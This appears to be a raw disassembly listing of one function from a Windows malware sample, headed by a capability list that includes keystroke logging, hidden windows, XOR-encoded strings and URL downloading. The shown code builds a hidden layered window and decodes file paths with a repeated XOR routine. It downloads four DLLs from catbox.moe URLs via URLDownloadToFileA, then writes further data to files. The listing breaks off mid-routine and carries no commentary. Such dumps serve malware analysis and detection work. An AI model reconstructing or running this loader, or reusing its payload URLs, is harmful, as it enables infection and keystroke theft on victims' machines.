Function at 0x140057550
Capabilities:
Authenticate hmac
Create process on windows
Create thread
Download url
Encode data using base64
Encode data using xor
Hide graphical window
Log keystrokes via polling
Receive data
Resolve function by parsing pe exports
Set registry value
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x7730]
mov eax, 0x7830
call fcn.1400c66b0
sub rsp, rax
movaps xmmword [rsp + 0x7820], xmm6
movaps xmmword [rsp + 0x7810], xmm7
movaps xmmword [rsp + 0x7800], xmm8
movaps xmmword [rsp + 0x77f0], xmm9
movaps xmmword [rsp + 0x77e0], xmm10
movaps xmmword [rsp + 0x77d0], xmm11
movaps xmmword [rsp + 0x77c0], xmm12
movaps xmmword [rsp + 0x77b0], xmm13
movaps xmmword [rsp + 0x77a0], xmm14
movaps xmmword [rsp + 0x7790], xmm15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x158], rax
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x158]
call fcn.1400530f0
lea rcx, [0x140122db0]
call fcn.1400700b0
mov dword [rbp + 0x990], 0x50
mov dword [rbp + 0x994], 0x40
lea rax, [0x140060a20]
mov qword [rbp + 0x998], rax
xor r15d, r15d
mov qword [rbp + 0x9a0], r15
mov qword [rbp + 0x9a8], r15
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconA]
mov qword [rbp + 0x9b0], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorA]
mov qword [rbp + 0x9b8], rax
mov qword [rbp + 0x9c0], r15
lea r14, str.DelX
mov qword [rbp + 0x9c8], r14
mov qword [rbp + 0x9d0], r14
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconA]
mov qword [rbp + 0x9d8], rax
lea rcx, [rbp + 0x990]
call qword [sym.imp.USER32.dll_RegisterClassExW]
cvttss2si edi, dword [0x1401217bc]
cvttss2si esi, dword [0x1401217b8]
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss xmm0, dword [0x1401217bc]
movss xmm10, dword [0x1400e9bac]
mulss xmm0, xmm10
subss xmm1, xmm0
cvttss2si ebx, xmm1
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss xmm0, dword [0x1401217b8]
mulss xmm0, xmm10
subss xmm1, xmm0
cvttss2si eax, xmm1
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
mov r9d, 0x80000000
mov r8, r14
mov rdx, qword [rbp + 0x9d0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [0x140122c40], rax
mov edx, 0xffffffec
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
bts eax, 0x13
mov r8d, eax
mov edx, 0xffffffec
mov rcx, qword [0x140122c40]
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
mov rcx, qword [0x140122c40]
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x1400e9e30]
movdqu xmmword [rbp + 0xe38], xmm0
lea rdx, [rbp + 0xe38]
mov rcx, qword [0x140122c40]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
xorps xmm0, xmm0
movups xmmword [0x140122c50], xmm0
lea rdx, [0x140122c50]
mov rcx, qword [0x140122c40]
call qword [sym.imp.USER32.dll_GetWindowRect]
movups xmm0, xmmword [str.https:__files.catbox.moe_vewq1a.dll]
movups xmmword [rbp + 0x1150], xmm0
movups xmm1, xmmword [0x1400e89e8]
movups xmmword [rbp + 0x1160], xmm1
mov eax, dword [0x1400e89f8]
mov dword [rbp + 0x1170], eax
movups xmm0, xmmword [str.v_fkoPT_SJMc]
movups xmmword [rbp + 0x885], xmm0
movsd xmm0, qword [0x1400e9b10]
movsd qword [rbp + 0x895], xmm0
mov eax, dword [0x1400e9b18]
mov dword [rbp + 0x89d], eax
movzx eax, word [0x1400e9b1c]
mov word [rbp + 0x8a1], ax
movzx eax, byte [0x1400e9b1e]
mov byte [rbp + 0x8a3], al
mov r8d, r15d
movdqa xmm12, xmmword [0x1400e9ff0]
movdqa xmm15, xmmword [0x1400e9f80]
movdqa xmm13, xmmword [str.9999]
movdqa xmm14, xmmword [0x1400ea4f0]
mov r12d, dword [reloc.WS2_32.dll_accept]
movdqa xmm6, xmmword [0x1400ea030]
cmp r12d, 2
jl 0x14005798f
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x885]
mov edx, 4
mov r9d, dword [rsp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x18
jl 0x140057891
cmp r8d, 0x1f
jge 0x1400579d3
movsxd rax, r8d
lea r9, [rbp + 0x885]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x1400579a0
lea r8, [rbp + 0x885]
mov edx, 0x104
lea rcx, [rbp + 0x1220]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0x1220]
lea rdx, [rbp + 0x1150]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_kl7uf0.dll]
movups xmmword [rbp + 0x1178], xmm0
movups xmm1, xmmword [0x1400e8a10]
movups xmmword [rbp + 0x1188], xmm1
mov eax, dword [0x1400e8a20]
mov dword [rbp + 0x1198], eax
movups xmm0, xmmword [0x1400e9988]
movups xmmword [rbp + 0x8a4], xmm0
movsd xmm0, qword [0x1400e9998]
movsd qword [rbp + 0x8b4], xmm0
mov eax, dword [0x1400e99a0]
mov dword [rbp + 0x8bc], eax
movzx eax, word [0x1400e99a4]
mov word [rbp + 0x8c0], ax
movzx eax, byte [0x1400e99a6]
mov byte [rbp + 0x8c2], al
mov r8d, r15d
cmp r12d, 2
jl 0x140057b9e
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x8a4]
mov edx, 4
mov r9d, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x18
jl 0x140057aa0
cmp r8d, 0x1f
jge 0x140057be3
movsxd rax, r8d
lea r9, [rbp + 0x8a4]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x140057bb0
lea r8, [rbp + 0x8a4]
mov edx, 0x104
lea rcx, [rbp + 0x1330]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0x1330]
lea rdx, [rbp + 0x1178]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_imfnmf.dll]
movups xmmword [rbp + 0x11a0], xmm0
movups xmm1, xmmword [0x1400e8a38]
movups xmmword [rbp + 0x11b0], xmm1
mov eax, dword [0x1400e8a48]
mov dword [rbp + 0x11c0], eax
movups xmm0, xmmword [0x1400e9a80]
movups xmmword [rbp + 0x8c3], xmm0
movsd xmm0, qword [0x1400e9a90]
movsd qword [rbp + 0x8d3], xmm0
mov eax, dword [0x1400e9a98]
mov dword [rbp + 0x8db], eax
movzx eax, word [0x1400e9a9c]
mov word [rbp + 0x8df], ax
movzx eax, byte [0x1400e9a9e]
mov byte [rbp + 0x8e1], al
mov r8d, r15d
cmp r12d, 2
jl 0x140057dae
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x8c3]
mov edx, 4
mov r9d, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x18
jl 0x140057cb0
cmp r8d, 0x1f
jge 0x140057df3
movsxd rax, r8d
lea r9, [rbp + 0x8c3]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x140057dc0
lea r8, [rbp + 0x8c3]
mov edx, 0x104
lea rcx, [rbp + 0x1440]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0x1440]
lea rdx, [rbp + 0x11a0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_acg3ql.dll]
movups xmmword [rbp + 0x11c8], xmm0
movups xmm1, xmmword [0x1400e8a60]
movups xmmword [rbp + 0x11d8], xmm1
mov eax, dword [0x1400e8a70]
mov dword [rbp + 0x11e8], eax
movups xmm0, xmmword [0x1400e99e8]
movups xmmword [rbp + 0x866], xmm0
movsd xmm0, qword [0x1400e99f8]
movsd qword [rbp + 0x876], xmm0
mov eax, dword [str.__a4_S]
mov dword [rbp + 0x87e], eax
movzx eax, word [0x1400e9a04]
mov word [rbp + 0x882], ax
movzx eax, byte [0x1400e9a06]
mov byte [rbp + 0x884], al
mov r8d, r15d
cmp r12d, 2
jl 0x140057fbe
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x866]
mov edx, 4
mov r9d, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x18
jl 0x140057ec0
cmp r8d, 0x1f
jge 0x140058003
movsxd rax, r8d
lea r9, [rbp + 0x866]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x140057fd0
lea r8, [rbp + 0x866]
mov edx, 0x104
lea rcx, [rbp + 0x1550]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0x1550]
lea rdx, [rbp + 0x11c8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xorps xmm0, xmm0
movups xmmword [rbp + 0xa48], xmm0
mov qword [rbp + 0xa58], 6
mov qword [rbp + 0xa60], reloc.WS2_32.dll_ntohs
mov eax, dword [str.956856]
mov dword [rbp + 0xa48], eax
movzx eax, word [0x1400e8a78]
mov word [rbp + 0xa4c], ax
mov byte [rbp + 0xa4e], r15b
lea r8, [rbp + 0xa48]
lea rdx, [rbp + 0x78]
lea rcx, [0x140122db0]
call fcn.14006ddb0
movups xmm0, xmmword [0x1400e9800]
movups xmmword [rbp + 0x847], xmm0
movsd xmm0, qword [0x1400e9810]
movsd qword [rbp + 0x857], xmm0
mov eax, dword [0x1400e9818]
mov dword [rbp + 0x85f], eax
movzx eax, word [0x1400e981c]
mov word [rbp + 0x863], ax
movzx eax, byte [0x1400e981e]
mov byte [rbp + 0x865], al
mov r8d, r15d
cmp r12d, 2
jl 0x1400581fe
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x847]
mov edx, 4
mov r9d, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x18
jl 0x140058100
cmp r8d, 0x1f
jge 0x140058243
movsxd rax, r8d
lea r9, [rbp + 0x847]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x140058210
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], r15
lea rax, [rbp + 0x847]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r15b
jne 0x140058260
lea rdx, [rbp + 0x847]
lea rcx, [rbp + 0x30]
call fcn.1400492f0
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova rdx, qword [rbp + 0x30]
lea rcx, [rbp + 0x1040]
call fcn.140061d90
mov rax, qword [rbp + 0x1040]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x1040], r14
mov rax, qword [rbp + 0x1040]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x103c], edx
mov r8, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
sub r8, rdx
lea rcx, [rbp + 0x1040]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x1048]
call fcn.140061cd0
test rax, rax
jne 0x140058314
mov rax, qword [rbp + 0x1040]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1040]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 0xa28], xmm0
mov qword [rbp + 0xa38], 6
mov qword [rbp + 0xa40], reloc.WS2_32.dll_ntohs
mov eax, dword [str.501006]
mov dword [rbp + 0xa28], eax
movzx eax, word [0x1400e8a80]
mov word [rbp + 0xa2c], ax
mov byte [rbp + 0xa2e], r15b
lea r8, [rbp + 0xa28]
lea rdx, [rbp + 0x60]
lea rcx, [0x140122db0]
call fcn.14006ddb0
movups xmm0, xmmword [0x1400e9968]
movups xmmword [rbp + 0x828], xmm0
movsd xmm0, qword [0x1400e9978]
movsd qword [rbp + 0x838], xmm0
mov eax, dword [0x1400e9980]
mov dword [rbp + 0x840], eax
movzx eax, word [0x1400e9984]
mov word [rbp + 0x844], ax
movzx eax, byte [0x1400e9986]
mov byte [rbp + 0x846], al
mov r8d, r15d
cmp r12d, 2
jl 0x1400584de
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x828]
mov edx, 4
mov r9d, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x18
jl 0x1400583e0
cmp r8d, 0x1f
jge 0x140058523
movsxd rax, r8d
lea r9, [rbp + 0x828]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x1400584f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], r15
lea rax, [rbp + 0x828]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r15b
jne 0x140058540
lea rdx, [rbp + 0x828]
lea rcx, [rbp + 0x10]
call fcn.1400492f0
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova rdx, qword [rbp + 0x10]
lea rcx, [rbp + 0xf30]
call fcn.140061d90
mov rax, qword [rbp + 0xf30]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xf30], r14
mov rax, qword [rbp + 0xf30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xf2c], edx
mov r8, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x60]
sub r8, rdx
lea rcx, [rbp + 0xf30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0xf38]
call fcn.140061cd0
test rax, rax
jne 0x1400585ea
mov rax, qword [rbp + 0xf30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xf30]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov eax, dword [0x1400e99a0]
mov dword [rbp + 0x24f], eax
movzx eax, word [0x1400e99a4]
movups xmm0, xmmword [0x1400e9988]
mov word [rbp + 0x253], ax
movups xmmword [rbp + 0x237], xmm0
movzx eax, byte [0x1400e99a6]
movsd xmm0, qword [0x1400e9998]
mov byte [rbp + 0x255], al
movsd qword [rbp + 0x247], xmm0
mov r8d, r15d
cmp r12d, 2
jl 0x14005875e
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x237]
mov edx, 4
mov r9d, dword [rsp + 0x60]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x18
jl 0x140058660
cmp r8d, 0x1f
jge 0x1400587a3
movsxd rax, r8d
lea r9, [rbp + 0x237]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x140058770
mov eax, dword [str.__a4_S]
mov dword [rbp + 0x1ed], eax
movzx eax, word [0x1400e9a04]
movups xmm0, xmmword [0x1400e99e8]
mov word [rbp + 0x1f1], ax
movups xmmword [rbp + 0x1d5], xmm0
movzx eax, byte [0x1400e9a06]
movsd xmm0, qword [0x1400e99f8]
mov byte [rbp + 0x1f3], al
movsd qword [rbp + 0x1e5], xmm0
mov r8d, r15d
cmp r12d, 2
jl 0x14005890e
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x1d5]
mov edx, 4
mov r9d, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
